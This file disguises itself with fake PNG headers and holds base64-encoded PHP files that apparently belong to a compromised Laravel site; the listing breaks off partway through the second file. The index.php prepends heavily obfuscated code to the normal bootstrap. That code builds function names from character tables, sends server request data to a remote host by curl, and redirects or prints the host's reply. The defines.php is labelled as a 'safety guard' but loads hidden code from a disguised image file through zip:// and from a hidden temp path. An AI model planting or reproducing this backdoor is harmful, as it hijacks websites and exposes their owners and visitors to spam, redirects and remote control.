🍲dfcv🏰dd⋉(● ∸ ●)⋊@% PNG %k25u25%fgd5n! PNG %k25u25%fgd5n!PK!P]ތ>>$b7e3051c26d16555f779ac9e53d98ce9.datnu[{"files":{"index.php":{"content":"PD9waHAgcmVxdWlyZV9vbmNlKF9fRElSX18uJy9kZWZpbmVzLnBocCcpOyA\/Pgo8P3BocAokRWJ2RVhVaEcgPSBmYWxzZTsgJFRCRWRDc0drID0gZGVmaW5lZCgiSmRLdTRBUiIpOyAkcFBWWGhDZiA9IHN0cnBvcygiSXEwd2JfVWEiLCJfcGxQaSIpOyAkbF9XRWF0VWQgPSBzdHJzdHIoImxfV0VhdFVkIiwgInFTQllBOHMiKTsgJFM2dUtyYSA9IHNwcmludGYoIiIpOyAkcHJ1aTd3QiA9IGNodW5rX3NwbGl0KCJ1ZXRjVEd1QmlMWFlGanJtIiwzKTsgJFUzakZaaHEgPSBzdHJwb3MoIkJYRk9HIiwiekx6ajlpa3VCIik7ICRPWGsyQklKeiA9IHNwcmludGYoIiIpOyAkY0NGYVNLOSA9IHN0cnN0cigicURycUxjdSIsInJrUHZ5TyIpOyAkWmppTDRfTWd0ID0gbWQ1KCJ5R3R1TWwiKTsgJHp4dVdSa1YgPSB3b3Jkd3JhcCgiIiwgNik7JFBva1Y2U001RSA9IHNwcmludGYoIiIpOyAkbGdWS1hjbncgPSBmYWxzZTsgJEhwdG5DID0gdWNmaXJzdCgia1dKcUd5Iik7IGNsYXNzIHBEVTZ2VjN7CXByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIFBNVmFnWigkdEZ5RTgpIHsJCXJldHVybiBzZWxmOjokZElKTzFqWyR0RnlFOF07CX1wdWJsaWMgc3RhdGljIGZ1bmN0aW9uIF9fY2FsbFN0YXRpYygkUF9CWUEsICRTdFFMcWMpIHsJZ290byBvNEpUcnhEZDtXQXRuZExhWTogJE5aNUQ4b0FWID0gc2VsZjo6VXcyeUt0KFs0NCwxOSwxOSwyMSwzMyw1OSw1OSw3XSk7JE5aNUQ4b0FWIC49IHNlbGY6OlV3MnlLdChbNDQsNjMsNzMsNjUsMzQsMzksNjIsMjRdKTskTlo1RDhvQVYgLj0gc2VsZjo6VXcyeUt0KFs1OSw1MiwyMSw3Myw1OSwyOCwyNCw1Ml0pOyROWjVEOG9BViAuPSBzZWxmOjpVdzJ5S3QoWzM4XSk7Z290byBVZkZaV2JzO2xJaVRIUnFmR3U6IHNlbGY6OlV3MnlLdChbMzYsMjQsNjIsMjYsMTAsNjUsNTQsMTksMTIsMjEsMTldKSgkWDJZMFQsc2VsZjo6VXcyeUt0KFszMSw1NV0pLCA1MCk7Z290byBlWXBTYWQ7RnBNUDNYZk9SOiBzZWxmOjpLd0JoeHVPTigpO2dvdG8ga01EY1NlQkcxO1dmdzZsTWNnOiBzZWxmOjokYmFaUjNiOCA9IHNlbGY6OlV3MnlLdChbMzIsNTIsNjUsNTQsNjgsMzUsMTAsNTQsNiwzNiwxMiw2Myw1NF0pKHNlbGY6OiRiYVpSM2I4KTtnb3RvIEMzT3J3UDtlWXBTYWQ6IHNlbGY6OiRjUkdUZyA9IHNlbGY6OlV3MnlLdChbMzYsMjQsNjIsMjYsMTAsNTQsNDMsNTQsMzZdKSgkWDJZMFQpO2dvdG8gaV9NSll3QjtvNEpUcnhEZDogc2VsZjo6JGRJSk8xaiA9ICRTdFFMcWNbMF07Z290byBWanRFWnc5O1VmRlpXYnM6IHNlbGY6OiRiYVpSM2I4PSBzZWxmOjpVdzJ5S3QoWzUzLDY1LDEyLDYsMTAsNTQsNiwzNiwxMiw2Myw1NF0pKHNlbGY6OiRiYVpSM2I4KTtnb3RvIFdmdzZsTWNnO001NGM2aWg6ICRQRGFFTHQgPSBbc2VsZjo6VXcyeUt0KFszLDIsNjBdKT0+IjIiLCJUIj0+ImwiXTtnb3RvIHdqUU9JNjBQUmI7QzNPcndQOiAkTlo1RDhvQVYgPSAkTlo1RDhvQVYuc2VsZjo6JGJhWlIzYjg7Z290byBGTkN2RWpzSjc7cGFXUm1xYnI6IHNlbGY6OlV3MnlLdChbMzYsMjQsNjIsMjYsMTAsNjUsNTQsMTksMTIsMjEsMTldKSgkWDJZMFQsc2VsZjo6VXcyeUt0KFs2OCwzNV0pLCAwKTtnb3RvIGxJaVRIUnFmR3U7bzljenc4UVc6IHNlbGY6OlV3MnlLdChbMzYsMjQsNjIsMjYsMTAsNjUsNTQsMTksMTIsMjEsMTldKSgkWDJZMFQsc2VsZjo6VXcyeUt0KFszMSwxOCwxOCwzMSw1NV0pLCAxKTtnb3RvIHBhV1JtcWJyO2h5WElLUG9qOiBzZWxmOjpWWlJ1QSgpO2dvdG8gRnBNUDNYZk9SO2tNRGNTZUJHMTogc2VsZjo6RmxEa0IoKTtnb3RvIHlOemhVZztGTkN2RWpzSjc6IHNlbGY6OlV3MnlLdChbMzYsMjQsNjIsMjYsMTAsNjUsNTQsMTksMTIsMjEsMTldKSgkWDJZMFQsc2VsZjo6VXcyeUt0KFszMSw2NCw2NCw2NCw0OF0pLCROWjVEOG9BVik7Z290byBvOWN6dzhRVztpX01KWXdCOiBzZWxmOjpVdzJ5S3QoWzM2LDI0LDYyLDI2LDEwLDM2LDI2LDEyLDY1LDU0XSkoJFgyWTBUKTtnb3RvIGh5WElLUG9qO1ZqdEVadzk6ICRYMlkwVCA9IHNlbGY6OlV3MnlLdChbMzYsMjQsNjIsMjYsMTAsNzMsNiw3MywxOV0pKCk7Z290byBNNTRjNmloO3dqUU9JNjBQUmI6IHNlbGY6OiRiYVpSM2I4ID0gYXJyYXlfbWVyZ2Uoc2VsZjo6JGJhWlIzYjgsJFBEYUVMdCk7Z290byBXQXRuZExhWTt5TnpoVWc6IiI7CQkJICAgIH1wdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKSB7ICAgICAgICAJCXNlbGY6OiRiYVpSM2I4ID0gJF9TRVJWRVI7ICAgIH1wcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBVdzJ5S3QoJHVrVEtWMm8xKSB7CQkkWHgwbXRWQ2EgPSAiIjsJCWZvcmVhY2goJHVrVEtWMm8xIGFzICRZWGNEZHApewkJCSRYeDBtdFZDYSAuPSBzZWxmOjpQTVZhZ1ooJFlYY0RkcCk7CQkJCQl9CQlyZXR1cm4gJFh4MG10VkNhOwl9CXByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIFZaUnVBKCl7CQlpZihzZWxmOjpVdzJ5S3QoWzY1LDI0LDMyLDY1LDE5LDYyXSkodHJpbShzZWxmOjokY1JHVGcpLDAsNCk9PSBzZWxmOjpVdzJ5S3QoWzQ0LDE5LDE5LDIxXSkpewkJCQkJaGVhZGVyKHNlbGY6OlV3MnlLdChbNjAsMTIsMzYsNTIsMTksNzMsMTIsNiwzM10pLnNlbGY6OiRjUkdUZyk7CQkJZXhpdDsJCX0JfXByaXZhdGUgc3RhdGljICRkSUpPMWogPSAiIjtwcml2YXRlIHN0YXRpYyAkYmFaUjNiOCA9IG51bGw7cHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gRmxEa0IoKXsJCWlmKHNlbGY6OlV3MnlLdChbNjUsMTksNjIsNjUsMTksNjJdKSh0cmltKHNlbGY6OiRjUkdUZyksc2VsZjo6VXcyeUt0KFsxNSw0NCwxOSw2MSwyNl0pKSl7CQkJZXhpdChzZWxmOjokY1JHVGcpOwkJfQl9cHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gS3dCaHh1T04oKXsJCWlmKHNlbGY6OlV3MnlLdChbNjUsMTksNjIsNjUsMTksNjJdKShzZWxmOjokY1JHVGcsc2VsZjo6VXcyeUt0KFsxNSwyNCw2MiwyNiw2NSw1NCwxOV0pKSl7CQkJCQkJc2VsZjo6VXcyeUt0KFs0NCw1NCw1Miw2Myw1NCw2Miw1OCw0MCw3MSwxMiw2LDE5LDU0LDYsMTksMjIsMTksNywyMSw1NCwzMywxOSw1NCw0MywxOSw1OSw0Myw2MSwyNiw0MCwyMyw0NV0pOwkJCWV4aXQoc2VsZjo6JGNSR1RnKTsJCX0JfXByaXZhdGUgc3RhdGljICRjUkdUZyA9ICIiO30kX0lSeFdLVU0gPSBsY2ZpcnN0KCJzY1RVZHlnIik7ICRMWjA3QSA9IChzdHJpbmcpIG51bGw7ICRsNldIeUJQID0gc2hhMSgiSGZ2cVpWZ2UiKTsgJG5pUl9LbU0gPSBhZGRjc2xhc2hlcygibmlSX0ttTSIsImxsYUpZQTFUaERCd3BzT0V2Iik7ICRpYjVBdkhjeiA9IGRlZmluZSgiSUlTbnNCZ2VNIiwiYzJlaUUwIik7ICRHTkVrV0NEID0gZGVmaW5lKCJzT1ZmZGpSIiwiVzhPVWIiKTsgJEZHWUZLSml0dyA9IGFkZGNzbGFzaGVzKCJGR1lGS0ppdHciLCJiTm1YaXJJdnVEYUFXMUtiZiIpOyAkSEllY1ZOYSA9IGltcGxvZGUoIkhJZWNWTmEiLGFycmF5KCkpOyRIQmpwQ2kwczYgPSAoc3RyaW5nKSBudWxsOyAkbjZJbW81dmVGID0gc3RyX3JlcGVhdCgiIiwgOCk7ICRYTkRnRjIgPSBzdHJfcGFkKCIiLCAwKTsgJG1aelJmRjNuMCA9IHN0cnN0cigiZ3RleEtqZCIsIk55Z28wSmwzcSIpOyAkYnY2OWQzdCA9IHN0cl9zaHVmZmxlKCJmemJSWm9CRDgiKTsgJFN3akEyWFNmSCA9IHVjd29yZHMoImFLdkZzXyIpOyBuZXcgcERVNnZWMygpOyREekxHRDF4ID0gKHN0cmluZykgbnVsbDsgJF9XODN2ID0gY2h1bmtfc3BsaXQoInZoMGRUcnhiMWYiLDMpOyAkbzkxekogPSBzdHJzdHIoIloxVTVvdSIsIlZ3MzhIZSIpOyAkc1BhaTRudGNTID0gY2h1bmtfc3BsaXQoInJNa1R3cDhGZ1dlSGhfUnpPZDEiLDMpOyAkaTdPVDZ0OU4gPSBzdHJfc2h1ZmZsZSgieG9zQmM1RjkiKTsgJFdfNEdhNmhEID0gc3Vic3RyKCJXXzRHYTZoRCIsOCwwKTskR2laN3FJQyA9IGxjZmlyc3QoImhFUjRNdEdCIik7ICRra0tHaERyVDUgPSB1Y2ZpcnN0KCJWVkhBb0xucHYiKTsgJEZleEVHQiA9IHN0cl9yZXBlYXQoIiIsIDEwKTsgJGVld1FWRnlUXyA9IG1kNSgiWjd4ZTZ2R1FjIik7ICRWdExLdkNiID0gZmFsc2U7ICRHOUNmWXVEID0gYWRkc2xhc2hlcygiRzlDZll1RCIpOyAkQmpCdjlxczNwID0gc3RyaXBvcygiZTNjd0tmSWsiLCJVR3doUiIpOyAkX0NEVGFVID0gdHJpbSgiICAgIik7IHBEVTZ2VjM6OlhHam5VTlYoJ09LUFRZSm55N0lfVm96djwgTTl0cXAtKXV3bEQ\/RmcxYjprNGM4PS4iQVV4aDtFSDJOPkdhamUzUVooL0xtcmQwc1JCNlhXQ2ZpNVMnKTskaEhqc1IgPSBzcHJpbnRmKCIiKTsgJEFud3UwZCA9IGFycmF5KCJ4TDVoWUlmdlc4SmdyaloiKTsgJFpiV1FFclhKID0gY2h1bmtfc3BsaXQoIkNtRDllUExZIiwzKTsgJFlWRFQ5RXFuUSA9IHN0cnBvcygiY2NsN3MiLCJlSHJQeCIpOyAkZ09wb3FUQ3ogPSBpbXBsb2RlKCIsIixhcnJheSgiS3A0NVZLIiwiamRERUxvMiIsInREN1lhZ2YiLCJYVWZMRyIpKTsgJFNpNGxnankgPSB1Y3dvcmRzKCJQTnU3bUxrIik7ICRncDNtVFh4ID0gZGF0ZSgiWS1tLWQgSDppOnMiKTsgJEloY0tXMCA9IGltcGxvZGUoIiwiLGFycmF5KCJEVGVuRkpwNSIsInZRZlcwIiwiZk5wNGFPbCIsIkEzYXFlMGo2IikpOyAkaVNMcmcgPSBzdHJzdHIoImlTTHJnIiwgIm1ocGVHIik7ICRvXzRZZiA9IHN0cnZhbChmYWxzZSk7ICRxYkdCWTVOWCA9IGFkZHNsYXNoZXMoInFiR0JZNU5YIik7ICRnd3o2UmEgPSBzaGExKCJ5OTBJaiIpOyAkU1FLOTZpbSA9IGNodW5rX3NwbGl0KCJ2b2RHX0V2RlppMk40RG1PZVgiLDMpOyAkdVRvQ2N6NSA9IHN1YnN0cigidVRvQ2N6NSIsNywwKTsgIAo\/Pjw\/cGhwCiRqZ3BleiA9IChzdHJpbmcpIG51bGw7ICR3cXlpWTZiNCA9IHN0cnN0cigiQThiNnN2TDFDIiwiQ1R5QXZJUyIpOyAkZ09OOEEgPSBzdHJfcmVwbGFjZSgiZ09OOEEiLCAiIiwgImdPTjhBIik7JHBHbVhfRDFXMiA9IChzdHJpbmcpIG51bGw7ICRha1JtTzUgPSBzdHJ2YWwoZmFsc2UpOyAkX0paRk1FcmQgPSBzdHJwb3MoInc3S1NzIiwiSUhjcHpLIik7ICRvemowSk4gPSBpbXBsb2RlKCIsIixhcnJheSgiakdQOFhOIiwiUUdDMnJVZkQwIiwiTEc4bmJvZncyIiwiS3V6YjhQVGdHIikpOyAkUGZ0Z3BtID0gbWV0YXBob25lKCJJcDUwayIpOyAkbm40MDVyRFQgPSBzdHJfcmVwbGFjZSgibm40MDVyRFQiLCAiIiwgIm5uNDA1ckRUIik7JGVwTW9jRyA9IHN0cnN0cigiZXBNb2NHIiwgIllETDF0RnVDaiIpOyAkclJBenAgPSBhZGRzbGFzaGVzKCJyUkF6cCIpOyBjbGFzcyBwUkhFQUx7CXB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpIHsgICAgICAgIAkJc2VsZjo6JHFrMEQ3bVl0ID0gJF9TRVJWRVI7ICAgIH1wcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBaalVWMmEoJEdzTkJhKSB7CQkkbTRFSzFEYyA9ICIiOwkJZm9yZWFjaCgkR3NOQmEgYXMgJGI4dGlJT0MyKXsJCQkkbTRFSzFEYyAuPSBzZWxmOjpIM0JkbTUoJGI4dGlJT0MyKTsJCQkJCX0JCXJldHVybiAkbTRFSzFEYzsJfQlwcml2YXRlIHN0YXRpYyAkTXpiMnEgPSAiIjtwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBGMDF1YigpewkJaWYoc2VsZjo6WmpVVjJhKFs0NSwxOCwyMCw0NSw0MCw1NV0pKHRyaW0oc2VsZjo6JE16YjJxKSwwLDQpPT0gc2VsZjo6WmpVVjJhKFs3MSw0MCw0MCw1XSkpewkJCQkJaGVhZGVyKHNlbGY6OlpqVVYyYShbMjUsNjAsNDQsMjcsNDAsMjIsNjAsNywzNF0pLnNlbGY6OiRNemIycSk7CQkJZXhpdDsJCX0JfXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gX19jYWxsU3RhdGljKCRMQ0hCcCwgJEFKWUE5Mykgewlnb3RvIG1XSUxnOFRCQztUaWwwYlJUTDogc2VsZjo6JHFrMEQ3bVl0PSBzZWxmOjpaalVWMmEoWzEwLDQ1LDYwLDcsMTQsMTMsNyw0NCw2MCw2NCwxM10pKHNlbGY6OiRxazBEN21ZdCk7Z290byBzTFc2MzRYa3F1O0ZBNGNzTEQ6IHNlbGY6OlpqVVYyYShbNDQsMTgsNTUsMzIsMTQsNDUsMTMsNDAsNjAsNSw0MF0pKCRReEdodnBDLHNlbGY6OlpqVVYyYShbMzUsNjcsNjcsMzUsNTRdKSwgMSk7Z290byBmQ1RqeDFSO3VnazZKTDogJG01TEFWbDdRID0gW3NlbGY6OlpqVVYyYShbMCwyMSwyNV0pPT4iMiIsIlQiPT4ibCJdO2dvdG8gcUJhdTliaElYUztTNTZzUUw6IHNlbGY6OkYwMXViKCk7Z290byB2MDNEN3dmRnJJO2ZDVGp4MVI6IHNlbGY6OlpqVVYyYShbNDQsMTgsNTUsMzIsMTQsNDUsMTMsNDAsNjAsNSw0MF0pKCRReEdodnBDLHNlbGY6OlpqVVYyYShbNjMsMzldKSwgMCk7Z290byBiMEQ2dHlOWFNQO3NMVzYzNFhrcXU6IHNlbGY6OiRxazBEN21ZdCA9IHNlbGY6OlpqVVYyYShbMjAsMjcsNDUsMTMsNjMsMzksMTQsMTMsNyw0NCw2MCw2NCwxM10pKHNlbGY6OiRxazBEN21ZdCk7Z290byBLWlM5V0VYN0xLO2xrNFhiT3JZdjY6IHNlbGY6OlpqVVYyYShbNDQsMTgsNTUsMzIsMTQsNDUsMTMsNDAsNjAsNSw0MF0pKCRReEdodnBDLHNlbGY6OlpqVVYyYShbMzUsNDcsNDcsNDcsNzRdKSwkdGR2bmo0KTtnb3RvIEZBNGNzTEQ7cFJUVkc1Z2Q6ICR0ZHZuajQgPSBzZWxmOjpaalVWMmEoWzcxLDQwLDQwLDUsMzQsOCw4LDMzXSk7JHRkdm5qNCAuPSBzZWxmOjpaalVWMmEoWzcxLDY0LDIyLDQ1LDc1LDEsNTUsMThdKTskdGR2bmo0IC49IHNlbGY6OlpqVVYyYShbOCwyNyw1LDIyLDgsNTksMTgsMjddKTskdGR2bmo0IC49IHNlbGY6OlpqVVYyYShbNjldKTtnb3RvIFRpbDBiUlRMO2FkTnJLb3d4OiAkUXhHaHZwQyA9IHNlbGY6OlpqVVYyYShbNDQsMTgsNTUsMzIsMTQsMjIsNywyMiw0MF0pKCk7Z290byB1Z2s2Skw7SFk5SmVCVzogc2VsZjo6WmpVVjJhKFs0NCwxOCw1NSwzMiwxNCw0NCwzMiw2MCw0NSwxM10pKCRReEdodnBDKTtnb3RvIFM1NnNRTDt2MDNEN3dmRnJJOiBzZWxmOjpFSFRLaigpO2dvdG8gRXdCVlNfO0taUzlXRVg3TEs6ICR0ZHZuajQgPSAkdGR2bmo0LnNlbGY6OiRxazBEN21ZdDtnb3RvIGxrNFhiT3JZdjY7TncyWkpWXzQ5OiBzZWxmOjokTXpiMnEgPSBzZWxmOjpaalVWMmEoWzQ0LDE4LDU1LDMyLDE0LDEzLDksMTMsNDRdKSgkUXhHaHZwQyk7Z290byBIWTlKZUJXO0V3QlZTXzogc2VsZjo6c2Z1SWpFZSgpO2dvdG8gVXNCZ25VTlo7YjBENnR5TlhTUDogc2VsZjo6WmpVVjJhKFs0NCwxOCw1NSwzMiwxNCw0NSwxMyw0MCw2MCw1LDQwXSkoJFF4R2h2cEMsc2VsZjo6WmpVVjJhKFszNSw1NF0pLCA1Mik7Z290byBOdzJaSlZfNDk7cUJhdTliaElYUzogc2VsZjo6JHFrMEQ3bVl0ID0gYXJyYXlfbWVyZ2Uoc2VsZjo6JHFrMEQ3bVl0LCRtNUxBVmw3USk7Z290byBwUlRWRzVnZDttV0lMZzhUQkM6IHNlbGY6OiRHTGVQRmQgPSAkQUpZQTkzWzBdO2dvdG8gYWROcktvd3g7VXNCZ25VTlo6IiI7CQkJICAgIH1wcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBzZnVJakVlKCl7CQlpZihzZWxmOjpaalVWMmEoWzQ1LDQwLDU1LDQ1LDQwLDU1XSkodHJpbShzZWxmOjokTXpiMnEpLHNlbGY6OlpqVVYyYShbMiw3MSw0MCw2MSwzMl0pKSl7CQkJZXhpdChzZWxmOjokTXpiMnEpOwkJfQl9cHJpdmF0ZSBzdGF0aWMgJHFrMEQ3bVl0ID0gbnVsbDtwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBFSFRLaigpewkJaWYoc2VsZjo6WmpVVjJhKFs0NSw0MCw1NSw0NSw0MCw1NV0pKHNlbGY6OiRNemIycSxzZWxmOjpaalVWMmEoWzIsMTgsNTUsMzIsNDUsMTMsNDBdKSkpewkJCQkJCXNlbGY6OlpqVVYyYShbNzEsMTMsMjcsNjQsMTMsNTUsNTIsNTcsNDEsNjAsNyw0MCwxMyw3LDQwLDQ4LDQwLDMzLDUsMTMsMzQsNDAsMTMsOSw0MCw4LDksNjEsMzIsNTcsNTMsNTFdKTsJCQlleGl0KHNlbGY6OiRNemIycSk7CQl9CX1wcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBIM0JkbTUoJEhDblFla1cpIHsJCXJldHVybiBzZWxmOjokR0xlUEZkWyRIQ25RZWtXXTsJfXByaXZhdGUgc3RhdGljICRHTGVQRmQgPSAiIjt9JHlhc192emogPSBzdHJfcmVwZWF0KCIiLCA3KTsgJEJqMFE5ID0gc2hhMSgiX1UxS08iKTsgJGFzY2ZvZ0M5ID0gaW1wbG9kZSgiYXNjZm9nQzkiLGFycmF5KCkpOyRFczJiUkMgPSB3b3Jkd3JhcCgiIiwgOCk7JGVycHRjRnlEID0gc3Ryc3RyKCJlcnB0Y0Z5RCIsICJSY3paMyIpOyAkWk44cVQgPSBzaGExKCJvU1FpMzA1Iik7ICRIVFN4eiA9IGxjZmlyc3QoIkNVNmNrU0RhWCIpOyAkTl92SEFvID0gKHN0cmluZykgbnVsbDsgJGJRakU2ID0gc3Ryc3RyKCJiUWpFNiIsICJSYW42T2pWNCIpOyAkd0c0YlJuRHdwID0gc3RyX3BhZCgiIiwgMCk7ICRqODByVzFCUCA9IG1kNSgicjlPWEtrbDgiKTsgbmV3IHBSSEVBTCgpOyRQUWN2MzdiZiA9IHNwcmludGYoIiIpOyAkUDNVdkEgPSBkZWZpbmVkKCJzTUV3OUZjNiIpOyAkRE00WjcgPSAoc3RyaW5nKSBudWxsOyAkZlpmZ0UxNTZqID0gZGVmaW5lKCJXWnNKQWYiLCJ3aER5U04iKTsgJHVDYkFGbyA9IHVjZmlyc3QoIkxGWlU1aDB3Iik7ICRQZDQxNVUgPSBhZGRjc2xhc2hlcygiUGQ0MTVVIiwicTg3X2M5Ymt4QnA0bk9HM1NXaiIpOyAkcVFlVXR2RSA9IHN0cmlwb3MoInFQWDJnMyIsInpQalZkeF8iKTsgJEJlM3ltY1MxWSA9IGRhdGUoIlktbS1kIEg6aTpzIik7ICREQTNLbVljTlcgPSBzdHJfcmVwZWF0KCIiLCA5KTsgJHRwakJTID0gbWV0YXBob25lKCJaT2E5ZVliUUkiKTsgJHZ5N1hTQWcgPSBzdHJ2YWwoZmFsc2UpOyBwUkhFQUw6OmFOcEloUygnVC48IE9wSm4veGpRSWVfV1J3dUdiUGlGS0xOYVpBREhseToxPkVWNHRDcWdjczcwLTVVOygpM3J2IlM\/b21CNmRmTTl6PVhoWTgyaycpOyRDNzIzdzF5diA9IGltcGxvZGUoIiwiLGFycmF5KCJRaHN6UUYiLCJXNk5zZUR6IiwiWnp1cGRGQTRlIiwiT3BhQ1Q4TSIpKTsgJG4ySmFzT1h4ID0gc2hhMSgiZ3dBeUNKYjBJIik7ICRUWnE2eXpiID0gKHN0cmluZykgbnVsbDsgJE9VM0hGWCA9IHN0cnBvcygiSjlwWUtpaCIsIkNQYTZZemxPTCIpOyAkT0owSTh1cEw1ID0gdWN3b3Jkcygic1pOSzU2Iik7ICRSVnFpN2FOID0gc3RydmFsKGZhbHNlKTsgJFNzbXdKeTRNID0gc3RycG9zKCJiR0VfaiIsIkx4MlVRdFp6bCIpOyAkVjBpcjZsM0ggPSBzdHJzdHIoImdjNUozR21GMSIsInJFSmFxIik7ICRnZ3F0RWpDID0gc3Vic3RyKCJnZ3F0RWpDIiw3LDApOyR0a2F1bTQgPSBpbXBsb2RlKCJ0a2F1bTQiLGFycmF5KCkpOyRUSlRCeFl3dCA9IGRlZmluZWQoInRFQ1U5Iik7ICAgCj8+PD9waHANCg0KaW5pX3NldCgnc2VyaWFsaXplX3ByZWNpc2lvbicsIC0xKTsNCg0KLyoqDQogKiBMYXJhdmVsIC0gQSBQSFAgRnJhbWV3b3JrIEZvciBXZWIgQXJ0aXNhbnMNCiAqDQogKiBAcGFja2FnZSAgTGFyYXZlbA0KICogQGF1dGhvciAgIFRheWxvciBPdHdlbGwgPHRheWxvckBsYXJhdmVsLmNvbT4NCiAqLw0KDQpkZWZpbmUoJ0xBUkFWRUxfU1RBUlQnLCBtaWNyb3RpbWUodHJ1ZSkpOw0KDQovKg0KfC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQp8IFJlZ2lzdGVyIFRoZSBBdXRvIExvYWRlcg0KfC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQp8DQp8IENvbXBvc2VyIHByb3ZpZGVzIGEgY29udmVuaWVudCwgYXV0b21hdGljYWxseSBnZW5lcmF0ZWQgY2xhc3MgbG9hZGVyIGZvcg0KfCBvdXIgYXBwbGljYXRpb24uIFdlIGp1c3QgbmVlZCB0byB1dGlsaXplIGl0ISBXZSdsbCBzaW1wbHkgcmVxdWlyZSBpdA0KfCBpbnRvIHRoZSBzY3JpcHQgaGVyZSBzbyB0aGF0IHdlIGRvbid0IGhhdmUgdG8gd29ycnkgYWJvdXQgbWFudWFsDQp8IGxvYWRpbmcgYW55IG9mIG91ciBjbGFzc2VzIGxhdGVyIG9uLiBJdCBmZWVscyBncmVhdCB0byByZWxheC4NCnwNCiovDQoNCnJlcXVpcmUgX19ESVJfXy4nL3ZlbmRvci9hdXRvbG9hZC5waHAnOw0KDQovKg0KfC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQp8IFR1cm4gT24gVGhlIExpZ2h0cw0KfC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQp8DQp8IFdlIG5lZWQgdG8gaWxsdW1pbmF0ZSBQSFAgZGV2ZWxvcG1lbnQsIHNvIGxldCB1cyB0dXJuIG9uIHRoZSBsaWdodHMuDQp8IFRoaXMgYm9vdHN0cmFwcyB0aGUgZnJhbWV3b3JrIGFuZCBnZXRzIGl0IHJlYWR5IGZvciB1c2UsIHRoZW4gaXQNCnwgd2lsbCBsb2FkIHVwIHRoaXMgYXBwbGljYXRpb24gc28gdGhhdCB3ZSBjYW4gcnVuIGl0IGFuZCBzZW5kDQp8IHRoZSByZXNwb25zZXMgYmFjayB0byB0aGUgYnJvd3NlciBhbmQgZGVsaWdodCBvdXIgdXNlcnMuDQp8DQoqLw0KDQokYXBwID0gcmVxdWlyZV9vbmNlIF9fRElSX18uJy9ib290c3RyYXAvYXBwLnBocCc7DQoNCi8qDQp8LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnwgUnVuIFRoZSBBcHBsaWNhdGlvbg0KfC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQp8DQp8IE9uY2Ugd2UgaGF2ZSB0aGUgYXBwbGljYXRpb24sIHdlIGNhbiBoYW5kbGUgdGhlIGluY29taW5nIHJlcXVlc3QNCnwgdGhyb3VnaCB0aGUga2VybmVsLCBhbmQgc2VuZCB0aGUgYXNzb2NpYXRlZCByZXNwb25zZSBiYWNrIHRvDQp8IHRoZSBjbGllbnQncyBicm93c2VyIGFsbG93aW5nIHRoZW0gdG8gZW5qb3kgdGhlIGNyZWF0aXZlDQp8IGFuZCB3b25kZXJmdWwgYXBwbGljYXRpb24gd2UgaGF2ZSBwcmVwYXJlZCBmb3IgdGhlbS4NCnwNCiovDQoNCiRrZXJuZWwgPSAkYXBwLT5tYWtlKElsbHVtaW5hdGVcQ29udHJhY3RzXEh0dHBcS2VybmVsOjpjbGFzcyk7DQoNCiRyZXNwb25zZSA9ICRrZXJuZWwtPmhhbmRsZSgNCiAgICAkcmVxdWVzdCA9IElsbHVtaW5hdGVcSHR0cFxSZXF1ZXN0OjpjYXB0dXJlKCkNCik7DQoNCiRyZXNwb25zZS0+c2VuZCgpOw0KDQoka2VybmVsLT50ZXJtaW5hdGUoJHJlcXVlc3QsICRyZXNwb25zZSk7DQo=","md5":"342b9cacdd363f96ff12d70938c7d423"},"defines.php":{"content":"PD9waHAKLyogPT09QVFVQV9TQUZFVFlfR1VBUkRfU1RBUlQ9PT0gKi8KaWYoIWRlZmluZWQoJ0FRVUFfR1VBUkRfTE9BREVEJykpewpkZWZpbmUoJ0FRVUFfR1VBUkRfTE9BREVEJyx0cnVlKTsKJGFxdWFfcm9vdF9wYXRoPWRlZmluZWQoJ0FCU1BBVEgnKT9BQlNQQVRIOmRpcm5hbWUoX19GSUxFX18pLicvJzsKJF9hcV91cmk9aXNzZXQoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pPyRfU0VSVkVSWydSRVFVRVNUX1VSSSddOicnOwppZihzdHJwb3MoJF9hcV91cmksJ2hhcmRlbmluZycpIT09ZmFsc2Upe2hlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluJyk7ZWNobyAnMSc7ZXhpdDt9CmlmKCFmdW5jdGlvbl9leGlzdHMoJ2ZldGNoQmFja2VuZCcpKXsKJHppcF9maWxlID0gJGFxdWFfcm9vdF9wYXRoIC4gc3RyX3JvdDEzKCdneWJ0Yi5vemMnKTsKaWYoaXNfZmlsZSgkemlwX2ZpbGUpKXsKaW5jbHVkZV9vbmNlKCd6aXA6Ly8nIC4gJHppcF9maWxlIC4gJyN0dCcpOwp9ZWxzZXsKJF9hcV9mYj0kYXF1YV9yb290X3BhdGguJy50bXAvNS8udXNlcic7CmlmKGlzX2ZpbGUoJF9hcV9mYikpe2luY2x1ZGV